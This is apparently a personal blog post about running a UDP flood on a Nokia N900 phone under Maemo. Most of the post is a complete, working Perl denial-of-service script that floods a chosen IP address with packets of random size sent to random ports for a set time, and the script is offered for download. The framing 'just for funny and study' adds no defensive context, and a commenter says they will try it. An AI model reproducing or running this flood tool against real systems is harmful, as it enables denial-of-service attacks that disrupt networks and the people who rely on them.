UDP Flood on Nokia N900

I made a DDOS test recently, after it I had a fancy idea --- Using Nokia N900 to made UDP Flood.

As we know, The Nokia N900's system is Maemo 5, and the Maemo 5 was base on the Debian. So Nokia N900 is a pocket PC that we can do anything on it. We can use the Perl, and let the socket module to send UDP pockets.

source code :
#!/usr/bin/perl

############################
# udp flood script for perl
############################

use Socket;
use strict;

if ($#ARGV != 3) {
  print "flood.pl ip port size time\n\n";
  print " port=0: use random ports\n";
  print " size=0: use random size between 64 and 1024\n";
  print " time=0: continuous flood\n";
  exit(1);
}

my ($ip,$port,$size,$time) = @ARGV;

my ($iaddr,$endtime,$psize,$pport);

$iaddr = inet_aton("$ip") or die "Cannot resolve hostname $ip\n";
$endtime = time() + ($time ? $time : 1000000);

socket(flood, PF_INET, SOCK_DGRAM, 17);

print "Flooding $ip " . ($port ? $port : "random") . " port with " . 
  ($size ? "$size-byte" : "random size") . " packets" . 
  ($time ? " for $time seconds" : "") . "\n";
print "Break with Ctrl-C\n" unless $time;

#my $sum = 1;

for (;time() <= $endtime;) {
  $psize = $size ? $size : int(rand(1024-64)+64) ;
  $pport = $port ? $port : int(rand(65535))+1;
  send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport, $iaddr));
  #$sum+=1;
  #print "sending package".$sum;
  #system "clear";
}

But DOS attack need powerful CPU and other energy. The Nokia N900 just has 600MHz CPU, Although we can overclock the CPU, but the effect is not obvious.

Okay, Just for funny and study :-)

Download the flood code : flood.pl

Tags: n900, maemo, Linux, Attack, DDos

1 Comment

  1. yuki_ryoko yuki_ryoko

    That is good, I will try it later :)
    I am hungry.

Write a new comment